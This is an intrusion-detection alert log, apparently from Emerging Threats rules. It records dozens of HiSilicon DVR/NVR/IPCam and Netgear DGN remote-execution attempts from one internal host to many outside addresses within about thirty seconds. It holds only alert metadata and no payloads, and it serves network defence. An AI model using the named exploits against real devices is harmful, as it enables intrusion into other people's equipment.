ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.118.52.143

Timestamp:	05/16/24-16:38:57.408880
SID:	2030487
Source Port:	50302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.118.52.143

Timestamp:	05/16/24-16:38:57.408880
SID:	2030488
Source Port:	50302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.246.6.138

Timestamp:	05/16/24-16:38:55.198254
SID:	2030487
Source Port:	55300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.246.6.138

Timestamp:	05/16/24-16:38:55.198254
SID:	2030488
Source Port:	55300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.162.224.64

Timestamp:	05/16/24-16:39:12.298193
SID:	2030488
Source Port:	38040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.196.130.133

Timestamp:	05/16/24-16:39:08.047720
SID:	2030487
Source Port:	56758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.162.224.64

Timestamp:	05/16/24-16:39:12.298193
SID:	2030487
Source Port:	38040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.28.198.91

Timestamp:	05/16/24-16:38:55.220928
SID:	2030487
Source Port:	60832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.16.197.160

Timestamp:	05/16/24-16:38:59.593437
SID:	2030488
Source Port:	36306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.180.54.97

Timestamp:	05/16/24-16:39:03.277871
SID:	2030488
Source Port:	45222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.16.197.160

Timestamp:	05/16/24-16:38:59.593437
SID:	2030487
Source Port:	36306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.180.54.97

Timestamp:	05/16/24-16:39:03.277871
SID:	2030487
Source Port:	45222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.219.94.219

Timestamp:	05/16/24-16:38:50.065170
SID:	2030488
Source Port:	47944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.219.94.219

Timestamp:	05/16/24-16:38:50.065170
SID:	2030487
Source Port:	47944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.160.119.25

Timestamp:	05/16/24-16:39:03.260897
SID:	2030488
Source Port:	46560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.145.208.153

Timestamp:	05/16/24-16:38:59.520085
SID:	2030487
Source Port:	33902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.145.208.153

Timestamp:	05/16/24-16:38:59.520085
SID:	2030488
Source Port:	33902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.57.219.157

Timestamp:	05/16/24-16:38:55.187222
SID:	2030487
Source Port:	51390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.57.219.157

Timestamp:	05/16/24-16:38:55.187222
SID:	2030488
Source Port:	51390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.160.119.25

Timestamp:	05/16/24-16:39:03.260897
SID:	2030487
Source Port:	46560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.43.198.78

Timestamp:	05/16/24-16:38:57.413349
SID:	2030487
Source Port:	43048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.77.26.156

Timestamp:	05/16/24-16:38:57.446005
SID:	2030487
Source Port:	45950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.43.198.78

Timestamp:	05/16/24-16:38:57.413349
SID:	2030488
Source Port:	43048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.77.26.156

Timestamp:	05/16/24-16:38:57.446005
SID:	2030488
Source Port:	45950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.4.96.238

Timestamp:	05/16/24-16:38:50.046356
SID:	2030487
Source Port:	37710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.4.96.238

Timestamp:	05/16/24-16:38:50.046356
SID:	2030488
Source Port:	37710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.254.242.200

Timestamp:	05/16/24-16:39:05.705372
SID:	2030488
Source Port:	43906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.254.242.200

Timestamp:	05/16/24-16:39:05.705372
SID:	2030487
Source Port:	43906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.98.171.206

Timestamp:	05/16/24-16:39:02.727963
SID:	2030488
Source Port:	44306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.98.171.206

Timestamp:	05/16/24-16:39:02.727963
SID:	2030487
Source Port:	44306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.215.71.75

Timestamp:	05/16/24-16:39:13.665738
SID:	2024916
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.61.17.96

Timestamp:	05/16/24-16:38:57.411386
SID:	2030488
Source Port:	33796
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.13.217.100

Timestamp:	05/16/24-16:39:16.585521
SID:	2030487
Source Port:	54388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.13.217.100

Timestamp:	05/16/24-16:39:16.585521
SID:	2030488
Source Port:	54388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.64.7.210

Timestamp:	05/16/24-16:39:08.146398
SID:	2030487
Source Port:	47252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.106.1.240

Timestamp:	05/16/24-16:39:08.149075
SID:	2030487
Source Port:	36466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.64.7.210

Timestamp:	05/16/24-16:39:08.146398
SID:	2030488
Source Port:	47252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.106.1.240

Timestamp:	05/16/24-16:39:08.149075
SID:	2030488
Source Port:	36466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.61.17.96

Timestamp:	05/16/24-16:38:57.411386
SID:	2030487
Source Port:	33796
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.169.170.187

Timestamp:	05/16/24-16:39:14.522015
SID:	2030487
Source Port:	48716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.169.170.187

Timestamp:	05/16/24-16:39:14.522015
SID:	2030488
Source Port:	48716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.77.1.84

Timestamp:	05/16/24-16:38:50.080374
SID:	2030487
Source Port:	53422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.77.1.84

Timestamp:	05/16/24-16:38:50.080374
SID:	2030488
Source Port:	53422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.90.154.92

Timestamp:	05/16/24-16:38:53.071159
SID:	2030487
Source Port:	37678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.193.93.200

Timestamp:	05/16/24-16:39:08.045080
SID:	2030487
Source Port:	56944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.90.154.92

Timestamp:	05/16/24-16:38:53.071159
SID:	2030488
Source Port:	37678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.193.93.200

Timestamp:	05/16/24-16:39:08.045080
SID:	2030488
Source Port:	56944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.233.128.118

Timestamp:	05/16/24-16:38:50.065066
SID:	2030488
Source Port:	36074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.233.128.118

Timestamp:	05/16/24-16:38:50.065066
SID:	2030487
Source Port:	36074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.117.233.196

Timestamp:	05/16/24-16:39:16.580429
SID:	2030488
Source Port:	60184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.117.233.196

Timestamp:	05/16/24-16:39:16.580429
SID:	2030487
Source Port:	60184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.130.87.254

Timestamp:	05/16/24-16:39:08.041106
SID:	2030488
Source Port:	39822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.130.87.254

Timestamp:	05/16/24-16:39:08.041106
SID:	2030487
Source Port:	39822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.220.141.215

Timestamp:	05/16/24-16:38:55.227486
SID:	2030487
Source Port:	53466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.220.141.215

Timestamp:	05/16/24-16:38:55.227486
SID:	2030488
Source Port:	53466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.89.122.31

Timestamp:	05/16/24-16:38:53.011370
SID:	2030487
Source Port:	49008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.75.246.101

Timestamp:	05/16/24-16:38:50.068395
SID:	2030487
Source Port:	43448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.89.122.31

Timestamp:	05/16/24-16:38:53.011370
SID:	2030488
Source Port:	49008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.75.246.101

Timestamp:	05/16/24-16:38:50.068395
SID:	2030488
Source Port:	43448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.201.219.192

Timestamp:	05/16/24-16:39:08.146125
SID:	2030488
Source Port:	48958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.201.219.192

Timestamp:	05/16/24-16:39:08.146125
SID:	2030487
Source Port:	48958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.50.5.56

Timestamp:	05/16/24-16:39:03.262233
SID:	2030487
Source Port:	52210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.50.5.56

Timestamp:	05/16/24-16:39:03.262233
SID:	2030488
Source Port:	52210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.24.44.126

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	39730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.24.44.126

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	39730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.126.109.140

Timestamp:	05/16/24-16:39:12.380129
SID:	2030487
Source Port:	35530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.126.109.140

Timestamp:	05/16/24-16:39:12.380129
SID:	2030488
Source Port:	35530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.47.199.59

Timestamp:	05/16/24-16:39:16.615754
SID:	2030488
Source Port:	37724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.66.155.38

Timestamp:	05/16/24-16:38:57.411067
SID:	2030487
Source Port:	55868
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.66.155.38

Timestamp:	05/16/24-16:38:57.411067
SID:	2030488
Source Port:	55868
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.47.199.59

Timestamp:	05/16/24-16:39:16.615754
SID:	2030487
Source Port:	37724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.75.171.165

Timestamp:	05/16/24-16:39:05.677921
SID:	2030488
Source Port:	60458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.75.171.165

Timestamp:	05/16/24-16:39:05.677921
SID:	2030487
Source Port:	60458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.1.122.52

Timestamp:	05/16/24-16:38:59.518404
SID:	2030487
Source Port:	42742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.1.122.52

Timestamp:	05/16/24-16:38:59.518404
SID:	2030488
Source Port:	42742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.153.119.104

Timestamp:	05/16/24-16:38:53.011530
SID:	2030487
Source Port:	36562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.187.204.211

Timestamp:	05/16/24-16:39:08.041957
SID:	2030488
Source Port:	35376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.187.204.211

Timestamp:	05/16/24-16:39:08.041957
SID:	2030487
Source Port:	35376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.43.53.61

Timestamp:	05/16/24-16:39:08.044912
SID:	2030487
Source Port:	50508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.43.53.61

Timestamp:	05/16/24-16:39:08.044912
SID:	2030488
Source Port:	50508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.88.141.231

Timestamp:	05/16/24-16:39:14.531053
SID:	2030488
Source Port:	52026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.31.156.195

Timestamp:	05/16/24-16:39:16.580464
SID:	2030487
Source Port:	44574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.41.186.17

Timestamp:	05/16/24-16:38:50.004199
SID:	2030487
Source Port:	54400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.41.186.17

Timestamp:	05/16/24-16:38:50.004199
SID:	2030488
Source Port:	54400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.169.183.199

Timestamp:	05/16/24-16:39:14.494578
SID:	2030488
Source Port:	49540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.31.156.195

Timestamp:	05/16/24-16:39:16.580464
SID:	2030488
Source Port:	44574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.169.183.199

Timestamp:	05/16/24-16:39:14.494578
SID:	2030487
Source Port:	49540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.88.141.231

Timestamp:	05/16/24-16:39:14.531053
SID:	2030487
Source Port:	52026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.173.99.149

Timestamp:	05/16/24-16:38:57.434327
SID:	2030488
Source Port:	41360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 45.89.131.53

Timestamp:	05/16/24-16:38:49.306238
SID:	2034576
Source Port:	44310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.143.189.241

Timestamp:	05/16/24-16:39:16.613602
SID:	2030488
Source Port:	53760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.228.144.224

Timestamp:	05/16/24-16:39:14.530225
SID:	2030488
Source Port:	42048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.228.144.224

Timestamp:	05/16/24-16:39:14.530225
SID:	2030487
Source Port:	42048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.141.64.164

Timestamp:	05/16/24-16:39:05.678431
SID:	2030488
Source Port:	50190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.55.173.149

Timestamp:	05/16/24-16:39:12.383706
SID:	2030487
Source Port:	39902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.143.189.241

Timestamp:	05/16/24-16:39:16.613602
SID:	2030487
Source Port:	53760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.141.64.164

Timestamp:	05/16/24-16:39:05.678431
SID:	2030487
Source Port:	50190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.196.130.133

Timestamp:	05/16/24-16:39:08.047720
SID:	2030488
Source Port:	56758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.55.173.149

Timestamp:	05/16/24-16:39:12.383706
SID:	2030488
Source Port:	39902
Destination Port:	9530
Protocol:	TCP
